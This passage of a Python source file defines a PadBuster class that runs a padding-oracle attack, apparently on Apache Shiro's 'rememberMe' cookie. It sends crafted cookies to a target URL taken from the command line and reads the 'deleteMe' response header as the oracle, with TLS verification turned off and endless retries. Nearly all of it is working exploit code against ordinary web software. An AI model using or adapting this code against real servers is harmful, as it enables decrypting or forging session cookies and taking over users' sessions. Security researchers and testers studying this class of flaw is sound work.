| 8 | import time |
| 9 | |
| 10 | class PadBuster(PaddingOracle): |
| 11 | def __init__(self, **kwargs): |
| 12 | super(PadBuster, self).__init__(**kwargs) |
| 13 | self.session = requests.Session() |
| 14 | self.wait = kwargs.get('wait', 2.0) |
| 15 | |
| 16 | def oracle(self, data, **kwargs): |
| 17 | somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data) |
| 18 | self.session.cookies['rememberMe'] = somecookie |
| 19 | if self.session.cookies.get('JSESSIONID'): |
| 20 | del self.session.cookies['JSESSIONID'] |
| 21 | while 1: |
| 22 | try: |
| 23 | response = self.session.get(sys.argv[1], |
| 24 | stream=False, timeout=5, verify=False) |
| 25 | break |
| 26 | except (socket.error, requests.exceptions.RequestException): |
| 27 | logging.exception('Retrying request in %.2f seconds...', |
| 28 | self.wait) |
| 29 | time.sleep(self.wait) |
| 30 | continue |
| 31 | |
| 32 | self.history.append(response) |
| 33 | if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'): |
| 34 | logging.debug('No padding exception raised on %r', somecookie) |
| 35 | return |
| 36 | raise BadPaddingException |
| 37 | |
| 38 | |
| 39 | if __name__ == '__main__': |